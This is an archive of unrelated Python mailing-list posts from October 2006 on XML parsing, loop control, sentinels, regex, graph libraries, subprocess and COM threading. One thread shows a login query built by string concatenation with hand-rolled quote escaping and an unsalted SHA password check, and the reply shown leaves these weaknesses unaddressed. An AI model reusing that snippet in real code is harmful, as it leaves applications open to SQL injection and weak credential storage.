Message-ID: <1160647385.137882.287070@m7g2000cwm.googlegroups.com>

I'm playing with XML and elementtree and am missing something but I'm
not sure what...? I've create an XML file with Elementtree with a root
of backup.xml.  Attached to the root is a dirob and the dirobj has a
fileobj.  fileobj has filename and filesize tags.  I can open the file
in excel and it sets out the columns as I would expect.  The problem
I'm having is parsing the file. Using..

>>> file = open('c:\\scripts\\backup.xml', "r")
>>> tree = parse(file)
>>> elem = tree.getroot()
>>> elem.findtext('filesize')

Doesn't return anything, infact I can't seem to find anything
regardless of what I search for.
Here is the XML.  I've got a list of files and their containing
directories and I want my python script to append to the XML file each
day.  I could have done it with SQL but fancied banging my head on the
wall instead.  Thanks, MW.


- <backup.xml>
- <dirob>
  <dirname>C:\sysprep</dirname>
- <fileob>
  <filename>test.txt</filename>
  <filesize>10</filesize> 
  </fileob>
  </dirob>
  </backup.xml>



From mcfletch at vrplumber.com  Tue Oct 10 18:03:06 2006
From: mcfletch at vrplumber.com (Mike C. Fletcher)
Date: Tue, 10 Oct 2006 18:03:06 -0400
Subject: 3D Vector Type Line-Drawing Program
In-Reply-To: <qbBWg.21268$Ij.20727@newssvr14.news.prodigy.com>
References: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com>
	<qbBWg.21268$Ij.20727@newssvr14.news.prodigy.com>
Message-ID: <452C189A.6060409@vrplumber.com>

James Stroud wrote:
> James Stroud wrote:
>   
>> Hello All,
>>
>> I'm looking for a program to do line-drawings in 3d, with output to 
>> postscript or svg or pdf, etc. I would like to describe a scene with 
>> certain 1-3d elements oriented in 3d space with dashed or colored lines 
>> and filled or transparent surfaces (or maybe semitransparent).
>>
>> I would then like to set the camera and have the scene depicted as a 
>> line drawing (not ray-traced solid body, etc).
>>
>> Does anyone know of a library to do this?
>>     
>
>
> I'm really looking for a python library. The title of the post is kind 
> of misleading.
>   
At one point I created a gl2ps wrapper for use with PyOpenGL, that, 
combined with any of the PyOpenGL-based renderers would allow much of 
what you're describing, though IIRC it didn't properly support 
transparent or textured surfaces.  You could probably recreate the 
wrapper using ctypes in a few hours and then hook it up in a few more.

I believe there are similar OpenGL-to-SVG libraries here and there, you 
could likely hook one of them up to get a reasonable result that would 
support more graphics features (maybe).  Generally what you get out of 
these things, however, is a quite fragmented view of your objects (that 
is, you get the triangles that would be rendered).  That *can* be coded 
around, but generally people are either focused on making it look good 
or making it editable.

Good luck,
Mike

-- 
________________________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://www.vrplumber.com
  http://blog.vrplumber.com



From neoedmund at gmail.com  Sun Oct 15 23:29:53 2006
From: neoedmund at gmail.com (neoedmund)
Date: 15 Oct 2006 20:29:53 -0700
Subject: python's OOP question
In-Reply-To: <mailman.551.1160968738.11739.python-list@python.org>
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<mailman.550.1160965386.11739.python-list@python.org>
	<1160965758.324644.131920@i42g2000cwa.googlegroups.com>
	<mailman.551.1160968738.11739.python-list@python.org>
Message-ID: <1160969393.803021.274070@e3g2000cwe.googlegroups.com>

python use multiple inheritance.
but "inheritance" means you must inherite all methods from super type.
now i just need "some" methods from one type and "some" methods from
other types,
to build the new type.
Do you think this way is more flexible than tranditional inheritance?


Ben Finney wrote:
> [Please don't top-post above the text to which you're replying.]
>
> "neoedmund" <neoedmund at gmail.com> writes:
>
> > I'm trying to achieve a higher level of "reusability". Maybe it
> > cannot be done in python? Can anybody help me?
>
> What, specifically, are you trying to achieve? What problem needs
> solving?
>
> --
>  \     "If you're a horse, and someone gets on you, and falls off, and |
>   `\      then gets right back on you, I think you should buck him off |
> _o__)                                     right away."  -- Jack Handey |
> Ben Finney



From allmanj at cp.dias.ie  Wed Oct 18 04:43:30 2006
From: allmanj at cp.dias.ie (John Allman)
Date: Wed, 18 Oct 2006 09:43:30 +0100
Subject: dynamic module loading via __import__, nonetype?
In-Reply-To: <7.0.1.0.0.20061017144849.03c8ac20@yahoo.com.ar>
References: <4533B441.9010405@cp.dias.ie>
	<7.0.1.0.0.20061017144849.03c8ac20@yahoo.com.ar>
Message-ID: <4535E932.9070701@cp.dias.ie>

Gabriel Genellina wrote:
> At Monday 16/10/2006 13:33, John Allman wrote:
> 
>> If i manually import a module, this method works a treat, however if i
>> attempt to dynamically load a module at runtime the create method fails
>> with the following error:
>>
>> TypeError: 'NoneType' object is not callable
> 
> Can you cut down a reproducible test case, with *only* this behavior and
> nothing more?
>

Hi Gabriel

Thanks for the reply. I actually spotted my error (simple, stupid that i
hadn't noticed). I had the create method creating an object if it could
find a suitable class and importing a suitable class if it couldn't find
one. I rather stupidly forgot to actually create an object after
importing the class!

I was completely stuck - it's amazing what a night's sleep will do for you!

Thanks,

John


From bblais at bryant.edu  Fri Oct 20 08:54:16 2006
From: bblais at bryant.edu (Brian Blais)
Date: Fri, 20 Oct 2006 08:54:16 -0400
Subject: advice for web-based image annotation
In-Reply-To: <7xu020gh9p.fsf@ruckus.brouhaha.com>
References: <mailman.763.1161275722.11739.python-list@python.org>
	<7xu020gh9p.fsf@ruckus.brouhaha.com>
Message-ID: <4538C6F8.60103@bryant.edu>

Paul Rubin wrote:
> Brian Blais <bblais at bryant.edu> writes:
>> I want to set up a system where I can have my family members write
>> comments about a number of pictures, as part of a family tree project.
>> ...Any suggestions would be greatly appreciated!
> 
> How about a wiki?

So I thought about a wiki (again having no experience there either...sigh).  You can
put images in a wiki?  I had a quick look at pytw, but haven't had the time to really
dive into it to see if I could get it going, and if it would work for me.


			bb


-- 
-----------------

              bblais at bryant.edu
              http://web.bryant.edu/~bblais



From ewijaya at i2r.a-star.edu.sg  Fri Oct 13 10:21:15 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Fri, 13 Oct 2006 22:21:15 +0800
Subject: Loops Control with Python
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615A5@mailbe01.teak.local.net>


Can we make loops control in Python?
What I mean is that whether we can control
which loops to exit/skip at the given scope.
 
For example in Perl we can do something like:
 
OUT:
foreach my $s1 ( 0 ...100) {
   
    IN:
    foreach my $s2 (@array) {
    
          if ($s1 == $s2) {
             next OUT;
          }
          else {
              last IN; 
          } 
 
     }
}
 
How can we implement that construct with Python?
 
-- 
Edward WIJAYA
SINGAPORE

------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
--------------------------------------------------------


From Matthew.Warren at Digica.com  Tue Oct  3 11:48:23 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Tue, 3 Oct 2006 16:48:23 +0100
Subject: Escapeism
In-Reply-To: <D4F9316ACC9D20489CC81D19B8A87D5B039FE587@UKEX01.Digica.local>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B039FE588@UKEX01.Digica.local>

 

> -----Original Message-----
> From: 
> python-list-bounces+matthew.warren=digica.com at python.org 
> [mailto:python-list-bounces+matthew.warren=digica.com at python.o
> rg] On Behalf Of Matthew Warren
> Sent: 03 October 2006 16:07
> To: python-list at python.org
> Subject: RE: Escapeism
> 
>  
> 
> > -----Original Message-----
> > From: 
> > python-list-bounces+matthew.warren=digica.com at python.org 
> > [mailto:python-list-bounces+matthew.warren=digica.com at python.o
> > rg] On Behalf Of Kay Schluehr
> > Sent: 30 September 2006 18:02
> > To: python-list at python.org
> > Subject: Re: Escapeism
> > 
> > Sybren Stuvel wrote:
> > > Kay Schluehr enlightened us with:
> > > > Usually I struggle a short while with \ and either 
> > succeed or give up.
> > > > Today I'm in a different mood and don't give up. So here is my
> > > > question:
> > > >
> > > > You have an unknown character string c such as '\n' , 
> > '\a' , '\7' etc.
> > > >
> > > > How do you echo them using print?
> > > >
> > > > print_str( c ) prints representation '\a' to stdout for c = '\a'
> > > > print_str( c ) prints representation '\n' for c = '\n'
> > > > ...
> > > >
> > > > It is required that not a beep or a linebreak shall be printed.
> > >
> > > try "print repr(c)".
> > 
> > This yields the hexadecimal representation of the ASCII 
> character and
> > does not simply echo the keystrokes '\' and 'a' for '\a' 
> ignoring the
> > escape semantics. One way to achieve this naturally is by prefixing
> > '\a' with r where r'\a' indicates a "raw" string. But unfortunately
> > "rawrification" applies only to string literals and not to string
> > objects ( such as c ). I consider creating a table 
> consisting of pairs
> > {'\0': r'\0','\1': r'\1',...}  i.e. a handcrafted mapping but maybe
> > I've overlooked some simple function or trick that does the same for
> > me.
> > 
> > Kay
> > 

((I have no idea why the following was missing from my first attempt to
post, and since posting the thread has gone over my head, but wasn't the
OP just after a way to print user-inputted strings with '\' in
them?))...

I cant test this where I am, but would the following work

We have our literal user-inputted strings in a list,

l=['\a','\b','\c']    etc..

For s in l:
	for c in s:
		print c,
	print



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From fredrik at pythonware.com  Tue Oct 10 09:11:50 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 15:11:50 +0200
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net><452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net><UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net><1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<WvMWg.12223$UG4.9358@newsread2.news.pas.earthlink.net>
Message-ID: <egg66n$kbc$1@sea.gmane.org>

"Edward Diener No Spam" wrote:

> A RAD IDE tool to hook up components into an application or library (
> module in Python ) has nothing to do with terseness and everything to do
> with ease of programming.

python already has excellent and ridiculously easy-to-program ways to hook
things up.  after all, hooking things up is what python programmers tend to do,
most of their time.

if you want better support for more precise hooking, post some examples.

> All you are saying is that you don't have a need for this, but perhaps others do.

handwavy references to what "other may need" is another thing you should
avoid if you want your Python change proposal to be successful.

</F> 





From gagsl-py at yahoo.com.ar  Tue Oct 31 16:32:23 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Tue, 31 Oct 2006 18:32:23 -0300
Subject: best way to check if a file exists?
In-Reply-To: <EQO1h.213$1n3.4609@news.tufts.edu>
References: <EQO1h.213$1n3.4609@news.tufts.edu>
Message-ID: <7.0.1.0.0.20061031182153.045cd800@yahoo.com.ar>

At Tuesday 31/10/2006 18:01, John Salerno wrote:

>What is the best way to check if a file already exists in the current
>directory? I saw os.path.isfile(), but I'm not sure if that does more
>than what I need.

os.access(full_filename, os.F_OK)
http://docs.python.org/lib/os-file-dir.html

>I just want to check if a file of a certain name exists before the user
>creates a new file of that name.

Remember that things may change between you check the name and you 
actually create the file.


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From bignose+hates-spam at benfinney.id.au  Fri Oct 27 20:06:13 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sat, 28 Oct 2006 10:06:13 +1000
Subject: Sentinel values for special cases
References: <mailman.1308.1161912647.11739.python-list@python.org>
	<eht5ou$7v5$1@panix3.panix.com>
Message-ID: <874ptpe22y.fsf@benfinney.id.au>

aahz at pythoncraft.com (Aahz) writes:

> Ben Finney  <ben at benfinney.id.au> wrote:
> >Use a unique do-nothing object, defined at the module level so
> >callers can easily get at it [...]
> >
> >    GLOBAL = object()
> >
> >    def insert_ids(ids=GLOBAL):
> >        if ids is GLOBAL:
> >            ids = get_global_ids()
>
> The one disadvantage of this approach is that it complicates
> pickling if/when you store the stentinel in an instance.  There are
> ways of working around that, but none are pleasant.

Hmm, and any other kind of serialisation would be similarly affected I
suppose.

What's an alternative?

-- 
 \      "Think for yourselves and let others enjoy the privilege to do |
  `\                       so too."  -- Voltaire, _Essay On Tolerance_ |
_o__)                                                                  |
Ben Finney



From antroy at gmail.com  Wed Oct 18 11:05:24 2006
From: antroy at gmail.com (Ant)
Date: 18 Oct 2006 08:05:24 -0700
Subject: a little about regex
In-Reply-To: <1161160990.381368.53770@m73g2000cwd.googlegroups.com>
References: <mailman.669.1161155299.11739.python-list@python.org>
	<1161160990.381368.53770@m73g2000cwd.googlegroups.com>
Message-ID: <1161183924.713254.173720@m73g2000cwd.googlegroups.com>

Rob Wolfe wrote:
...
> def filter(adr):    # note that "filter" is a builtin function also
>     import re
>
>     allow = re.compile(r'.*(?<!\.com)\.my(>|$)')  # negative lookbehind
>     deny = re.compile(r'.*\.com\.my(>|$)')
>     cnt = 0
>     if deny.search(adr): cnt += 1
>     if allow.search(adr): cnt += 1
>     return cnt

Which makes the 'deny' code here redundant so in this case the function
could be reduced to:

import re

def allow(adr):    # note that "filter" is a builtin function also
    allow = re.compile(r'.*(?<!\.com)\.my(>|$)')  # negative lookbehind
    if allow.search(adr):
        return True
    return False

Though having the explicit allow and deny expressions may make what's
going on clearer than the fairly esoteric negative lookbehind.



From diffuser78 at gmail.com  Fri Oct  6 15:23:40 2006
From: diffuser78 at gmail.com (diffuser78 at gmail.com)
Date: 6 Oct 2006 12:23:40 -0700
Subject: Graph Theory
In-Reply-To: <1160086579.492499.38120@m7g2000cwm.googlegroups.com>
References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com>
	<1160079341.752297.139110@h48g2000cwc.googlegroups.com>
	<1160079922.925712.55850@i42g2000cwa.googlegroups.com>
	<1160086579.492499.38120@m7g2000cwm.googlegroups.com>
Message-ID: <1160162620.929630.51160@m73g2000cwd.googlegroups.com>

Is there any documentation avaialbe for networkx ? I want to have an
implementation of random graphs including watts and strogatz graph.

boggom at comcast.net wrote:
> diffuser78 at gmail.com wrote:
> > Thanks for your quick reply. Since I have not read the documentation, I
> > was wondering if you can generate random graph and analyze some
> > peroperties of it like clustering coefficient or graph density. I am a
> > graph theory student and want to use python for development. Somebody
> > told me that Python has already so much bultin. Are there any
> > visualization tool which would depict the random graph generated by the
> > libraries.
>
> networkx has several random graph generators, including:
>
>    barabasi_albert_graph
>    binomial_graph
>    erdos_renyi_graph
>    gnm_random_graph
>    gnp_random_graph
>    random_regular_graph
>    watts_strogatz_graph
>
> and others (e.g. via configuration_model)
>
> For drawing you can use pygraphviz (also available at
> networkx.lanl.gov)
> or the built-in drawing tools.
>
> e.g.
>
> >>> from networkx import *
> >>> no_nodes=1000
> >>> for p in [ 0.1, 0.2, 0.3]:
> >>>    g = watts_strogatz_graph(no_nodes, 4, p)
> >>>    print density(g), average_clustering(g)
>
> be warned that drawing large random graphs are not overly insightful
> 
> check the examples



From http  Tue Oct 24 13:16:56 2006
From: http (Paul Rubin)
Date: 24 Oct 2006 10:16:56 -0700
Subject: Talks at PyCon that Teach How to Be Better Programmers
References: <mailman.1089.1161707658.11739.python-list@python.org>
Message-ID: <7xmz7ld46v.fsf@ruckus.brouhaha.com>

"Robert Brewer" <fumanchu at amor.org> writes:
> 2. Dynamic languages naturally more lang-maven oriented?
>    See http://osteele.com/archives/2004/11/ides

Not sure what you mean by this, even after reading that (interesting)
article.  These days Haskell (which has static types) seems to be all
the rage with language geeks.


From ak at silmarill.org  Thu Oct  5 12:50:19 2006
From: ak at silmarill.org (Rainy)
Date: 5 Oct 2006 09:50:19 -0700
Subject: building strings from variables
In-Reply-To: <1160060458.147062.193070@c28g2000cwb.googlegroups.com>
References: <1160060458.147062.193070@c28g2000cwb.googlegroups.com>
Message-ID: <1160067019.159779.218580@b28g2000cwb.googlegroups.com>


Gal Diskin wrote:
> Following a discussion with an associate at work about various ways to
> build strings from variables in python, I'd like to hear your opinions
> and preferred methods. The methods we discussed are:
> 1.  some_string = "cd %s ; %s  %d %s %s" % ( working_dir, ssh_cmd,
> some_count, some_param1, some_param2)
>
> 2. import string
>     template = string.Template("cd $dir ; $cmd $count $param1
> $param2")
>     some_string = template.substitute(dict(dir=working_dir,
>
> cmd=ssh_cmd,
>
> count=some_count,
>
> pararm1=some_param1,
>
> param2=some_param2))
> here you can use a couple of nice tricks by using class.__dict__ and
> globals() \ locals() dictionaries.
>
> 3. some_string = "cd "+working_dir+" ; "+ssh_cmd+ "
> "+str(some_count)+" "+some_param1+" "+some_param2
> (all these are supposed to produce the same strings)
>
> Which methods do you know of \ prefer \ think is better because...?
> I will appreciate any opinions about the matter.

My opinion is that 1st method is the best. It's both very readable and
easy to write. 2nd way is too involved, and 3rd way is both hard to
read and difficult to compose. Another useful variant of method #1 is
to do this: %(varname)s ..." % globals()



From aking at mappi.helsinki.fi  Tue Oct 31 01:23:55 2006
From: aking at mappi.helsinki.fi (aking at mappi.helsinki.fi)
Date: Tue, 31 Oct 2006 08:23:55 +0200
Subject: No subject
Message-ID: <1162275835.4546ebfb21f1d@www2.helsinki.fi>


J. Clifford Dyer wrote:
> Alistair King wrote:
>   
>> Hi,
>>
>> is there a simple way of creating global variables within a function?
>>
>> ive tried simply adding the variables in:
>>
>> def function(atom, Xaa, Xab):
>>     Xaa = onefunction(atom)
>>     Xab = anotherfunction(atom)
>>
>> if i can give something like:
>>
>> function('C')    #where atom = 'C' but not necessarly include Xaa or Xab
>>
>> i would like to recieve:
>>
>> Caa = a float
>> Cab = another float
>>
>> ive tried predefining Xaa and Xab before the function but they are
>> global values and wont change within my function. Is there a simple way
>> round this, even if i call the function with the variables ('C', Caa, Cab)?
>>
...............................................................................................................................
>>
>> some actual code:
>>
>> # sample dictionaries
>> DS1v = {'C': 6}
>> pt = {'C': 12.0107}
>>
>> def monoVarcalc(atom):
>>     a = atom + 'aa'
>>     Xaa = a.strip('\'')
>>     m = atom + 'ma'
>>     Xma = m.strip('\'')
>>     Xaa = DS1v.get(atom)
>>     Xma = pt.get(atom)
>>     print Xma
>>     print Xaa
>>
>> monoVarcalc('C')
>>
>> print Caa
>> print Cma
>>
...............................................................................................................................
>> it seems to work but again i can only print the values of Xma and Xaa
>>
>> ?
>>
>> Alistair
>>
>>     
>
> I suspect you are misusing the concept of a function.  In most basic 
> cases, and I suspect your case applies just as well as most, a function 
> should take arguments and return results, with no other communication 
> between the calling code and the function itself.  When you are inside 
> your function don't worry about the names of the variables outside.  I'm 
> not sure exactly where your floats are coming from, but try something 
> like this:
>
>  >>> def monoVarCalc(relevant_data):
> ...     float1 = relevant_data * 42.0
> ...     float2 = relevant_data / 23.0
> ...     return float1, float2
>
>  >>> C = 2001
>  >>> Caa, Cab = monoVarCalc(C)
>  >>> Caa
> 84042.0
>  >>> Cab
> 87.0
>
> Notice that you don't need to use the variable C (or much less the 
> string "C", inside monoVarCalc at all.  It gets bound to the name 
> relevant_data instead.
>
> Also, if you are going to have a lot of these little results lying 
> around, (Cab, Cac ... Czy, Czz), you might consider making them a list 
> or a dictionary instead.  I won't tell you how to do that, though.  The 
> online tutorial has plenty of information on that.
>
> http://docs.python.org/tut/tut.html
>
>
> Cheers,
> Cliff
>   
this worked a treat:

def monoVarcalc(atom):

   a = atom + 'aa'
   Xaa = a.strip('\'')
   m = atom + 'ma'
   Xma = m.strip('\'')
   Xaa = DS1v.get(atom)
   Xma = pt.get(atom)
   return Xaa, Xma


Caa, Cma = monoVarcalc('C')


thanks

Ali

-- 
Dr. Alistair King
Research Chemist,
Laboratory of Organic Chemistry,
Department of Chemistry,
Faculty of Science
P.O. Box 55 (A.I. Virtasen aukio 1)
FIN-00014 University of Helsinki
Tel. +358 9 191 50392, Mobile +358 (0)50 5279446
Fax +358 9 191 50366






From fredrik at pythonware.com  Wed Oct 25 04:21:38 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 25 Oct 2006 10:21:38 +0200
Subject: python html 2 image (png)
In-Reply-To: <1161763383.622381.299350@b28g2000cwb.googlegroups.com>
References: <1161763383.622381.299350@b28g2000cwb.googlegroups.com>
Message-ID: <ehn6qi$b9b$2@sea.gmane.org>

baur79 at gmail.com wrote:

> how can i render html page to png image
> ex:
> 
> http://www.website.com/index.html -> index.png

what tools are you using to do that today?

</F>



From aahz at pythoncraft.com  Tue Oct 24 09:52:55 2006
From: aahz at pythoncraft.com (Aahz)
Date: 24 Oct 2006 06:52:55 -0700
Subject: Protecting against SQL injection
References: <Xns986662F736DD5toreriknpolarno@129.242.5.222>
Message-ID: <ehl5rn$ems$1@panix3.panix.com>

In article <Xns986662F736DD5toreriknpolarno at 129.242.5.222>,
Tor Erik Soenvisen  <toreriks at hotmail.com> wrote:
>
>How safe is the following code against SQL injection:
>
>        # Get user privilege
>        digest = sha.new(pw).hexdigest()
>        # Protect against SQL injection by escaping quotes
>        uname = uname.replace("'", "''")
>        sql = 'SELECT privilege FROM staff WHERE ' + \
>              'username=\'%s\' AND password=\'%s\'' % (uname, digest)
>        res = self.oraDB.query(sql)

Do yourself a favor at least and switch to using double-quotes for the
string.  I also recommend switching to triple-quotes to avoid the
backslash continuation.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"If you don't know what your program is supposed to do, you'd better not
start writing it."  --Dijkstra


From skip at pobox.com  Sat Oct  7 21:13:54 2006
From: skip at pobox.com (skip at pobox.com)
Date: Sat, 7 Oct 2006 20:13:54 -0500
Subject: Python to use a non open source bug tracker?
In-Reply-To: <nMXVg.139289$_J1.908829@twister2.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<45240FD5.3050705@v.loewis.de>
	<4n4Vg.135913$_J1.898276@twister2.libero.it>
	<f4rfv3-vhg.ln1@nb2.stroeder.com> <45254B18.2090806@v.loewis.de>
	<mailman.1379.1160075929.10491.python-list@python.org>
	<YzoVg.137036$zy5.1843214@twister1.libero.it>
	<7x3ba1ltvj.fsf@ruckus.brouhaha.com>
	<mailman.1457.1160140815.10491.python-list@python.org>
	<H_IVg.138311$zy5.1854132@twister1.libero.it>
	<mailman.29.1160242926.11739.python-list@python.org>
	<nMXVg.139289$_J1.908829@twister2.libero.it>
Message-ID: <17704.20690.222567.911965@montanaro.dyndns.org>


    Giovanni> And, in turn, this was in the context of hiring 6-10 people as
    Giovanni> the only acceptable minimum to maintain and admin a bug
    Giovanni> tracker.

Who said anything about "hiring"?  I don't believe anyone expects any of the
6-10 people to work full-time (well, except for you it would appear).  I
help moderate a number of Python-related mailing lists hosted on
mail.python.org.  I also do a microscopic amount of bug triage for a couple
smallish modules in the standard distribution, have pitched in a bit to help
with the website (though don't anymore) and used to help a little bit with
administration of the various python.org machines.  I certainly have never
spent anything approaching full-time for any of these tasks, not even when
measured over short time periods.  A few minutes here.  An hour there.  Many
people contribute way more time to the overall endeavor than I do, and I
applaud them for their dedication.  I haven't ever been paid nor have I ever
expected to be paid.  It's a spare time activity, a way to contribute to
Python even when I can't do more.

At times I have come and gone as well, mostly depending on the constraints
of work and family obligations and my instantaneous enthusiasm for the
project.  If I'd rather read a book, work on my car or watch TV, that's ok.
I don't feel guilty for the idle time I don't spend working on Python.  I
know there are many other people there to cover for what little bit of work
I am not doing.  I suspect that is how most people approach any of the
myriad tasks involved with getting Python out the door and keeping it
current.  I think that was also the intent of the "6-10 people" phrase.  If
you have lots of people available to pitch in, no one person's absence is a
show stopper.

Skip


From fabianosidler at gmail.com  Tue Oct 31 08:45:09 2006
From: fabianosidler at gmail.com (Fabiano Sidler)
Date: Tue, 31 Oct 2006 13:45:09 +0000
Subject: Printing out the objects stack
In-Reply-To: <200610291748.41082.fabianosidler@gmail.com>
References: <200610291748.41082.fabianosidler@gmail.com>
Message-ID: <200610311345.09918.fabianosidler@gmail.com>

On Sunday 29 October 2006 17:48, I wrote:
> Now the following things are not clear to me:
> -Why does the VM crash? Did I use the wrong stack boundaries?
> -Why are no locales printed?
> -Why is the function "stack" not right before or after "foo"
>  on the stack? When I disassemble the code of f with dis.dis,
>  it reveals that sys.stack and foo are pushed onto the stack
>  successively.

No hints?

Greetings,
Fips


From SSchukat at dspace.de  Fri Oct 13 06:51:25 2006
From: SSchukat at dspace.de (Stefan Schukat)
Date: Fri, 13 Oct 2006 11:51:25 +0100
Subject: Thread termination
Message-ID: <1B3F2E002D9AD04BBC1A27B370F29EB9023104@exchange2003.dspace.de>

Reading from your last posts you are using COM objects. Therefore you
should not "kill" the thread since this
would lead to reference leaks. So there are only two ways left:

1. Program a specific interpreter and not use python.exe which
implements an access to PyThreadState_SetAsyncExc
2. Check in the separate thread at specific times a variable which is
set in the main thread.

Both need the try finally construct in the threadfunction to release COM
objects in the right way.
I.e., (taking the source from Roger):


def ThreadFunction(istream, dest):
      pythoncom.CoInitialize() // Initialize COM Runtime for this thread
	try:
		d=pythoncom.CoGetInterfaceAndReleaseStream(istream,
pythoncom.IID_IDispatch)
	     	my_ie=win32com.client.Dispatch(d)
	     	my_ie.Navigate(dest)
	finally:
		my_ie = None  // Release COM object
 	      pythoncom.CoUninitialize() // Release COM Runtime for this
thread


	Stefan


From ask at me  Thu Oct 26 07:41:43 2006
From: ask at me (alf)
Date: Thu, 26 Oct 2006 07:41:43 -0400
Subject: subprocess-how to suppress the stdout
In-Reply-To: <mailman.1269.1161865123.11739.python-list@python.org>
References: <gKKdnUgiTN9ePt3YnZ2dnUVZ_o6dnZ2d@comcast.com>
	<mailman.1269.1161865123.11739.python-list@python.org>
Message-ID: <L4OdnRaCStg6NN3YnZ2dnUVZ_vCdnZ2d@comcast.com>

Fredrik Lundh wrote:
> "alf" <ask at me.xs4all.nl> wrote:
> 
> 
>>I can achieve it by using Popen(...,stdout=subprocess.PIPE,...) but
>>wonder where the all stdout actually goes. Is it buffered (to eventually
>>fill up)
> 
> 
> it ends up in a pipe buffer, yes.
> 
> 
>>Or there is a better solution ...
> 
> 
> /dev/null is your friend:
> 
>     Popen(..., stdout=open("/dev/null", "w"), stderr=subprocess.STDOUT, ...)
> 

I am forced to use win32 :-( plus it needs to be platform independent ...


From jstroud at mbi.ucla.edu  Thu Oct 19 16:32:30 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Thu, 19 Oct 2006 20:32:30 GMT
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <mailman.781.1161285358.11739.python-list@python.org>
References: <eh8708$nc7$1@solaris.cc.vt.edu>	<7iNZg.117$1n3.3352@news.tufts.edu>	<p%OZg.16348$e66.11338@newssvr13.news.prodigy.com>
	<mailman.781.1161285358.11739.python-list@python.org>
Message-ID: <yhRZg.12485$TV3.4900@newssvr21.news.prodigy.com>

Fredrik Lundh wrote:
> James Stroud wrote:
> 
>  > without requiring an iterator
> 
> can we perhaps invent some more arbitrary constraints while we're at it?
> 
> </F>
> 

I guess while I'm at it, this thread wouldn't have so much steam were 
these idioms seemingly unpythonic:

       "".join(reverse(x))
       alist[::-1]

The latter, while more terse than alist.reversed(), is unnatural and 
ugly compared to the general elegance of other constructs in python. 
Were this not the case, beginners and intermediate programmers alike 
would not have such trouble remembering it. In fact, the latter's exact 
behavior, if I remember correctly, spawned a thread of its own with much 
speculation as to the exact meaning of the documentation and whether the 
API conformed to this inferred meaning. I'll attempt to provide a link 
to the thread if anyone takes me to task on this.

I'm sure many life-long programmers will claim that they have never 
created a reverse copy of a data structure for production code, but why 
is it that so many jump to the fore to point out that alist[::-1] is how 
one produces a reverse copy of a list, or that a string can be reversed 
with reversed, join, and an instance of another string (did I leave 
something out?)?

But why do so many beginning programmers ask how one might produce a 
reverse data structure in python? Perhaps they are just ignorant fools 
who don't know that creating a reverse copy of a data structure can be 
proven to be a useless operation if only they would stop trying to write 
code and begin to write formal proofs. Perhaps their professors are to 
blame, unreasonably asking them to write actual code before memorizing 
all three+ volumes of Knuth. I'm sure the proof is in there somewhere.

But maybe it is not the purpose of a poweful language like python to be 
used as a teaching language. Maybe python should be reserved for use 
only by those who have been desensitized to its idiosyncracies, 
inconsistencies, and idiomatic workarounds.

James

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From steve at holdenweb.com  Wed Oct  4 09:29:32 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 04 Oct 2006 14:29:32 +0100
Subject: Python to use a non open source bug tracker?
In-Reply-To: <eg09i9$eod$1@sea.gmane.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net><tCJUg.134232$zy5.1829450@twister1.libero.it>	<eg0899$9g5$1@sea.gmane.org>
	<eg09i9$eod$1@sea.gmane.org>
Message-ID: <eg0cu8$qtt$1@sea.gmane.org>

Fredrik Lundh wrote:
> Steve Holden wrote:
> 
> 
>>But sadly people are much happier complaining on c.l.py than exerting
>>themselves to support the community with an open source issue tracker.
> 
> 
> you're not on the infrastructure list, I hear.  python.org could still need a
> few more roundup volunteers, but it's not like nobody's prepared to con-
> tribute manhours.  don't underestimate the community.
> 
No, I'm not on the infrastructure list, but I know that capable people 
*are*: and you know I am quite capable of donating my time to the cause, 
when I have it to spare (and sometimes even when I don't).

Perhaps what I *should* have written was "Sadly *many* people spend too 
much time bitching and moaning about those that roll their sleeves up, 
and not enough rolling their own sleeves up and pitching in".

Sniping from the sidelines is far easier than hard work towards a goal.

Kindly note that none of the above remarks apply to you.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From steven.bethard at gmail.com  Wed Oct 18 14:16:51 2006
From: steven.bethard at gmail.com (steven.bethard at gmail.com)
Date: Wed, 18 Oct 2006 18:16:51 +0000 (GMT)
Subject: python-dev Summary for 2006-08-16 through 2006-08-31
Message-ID: <20061018182155.53BF31E4004@bag.python.org>

python-dev Summary for 2006-08-16 through 2006-08-31
++++++++++++++++++++++++++++++++++++++++++++++++++++

.. contents::

[The HTML version of this Summary is available at
http://www.python.org/dev/summary/2006-08-16_2006-08-31]



=============
Announcements
=============

---------------------------
Python communnity buildbots
---------------------------

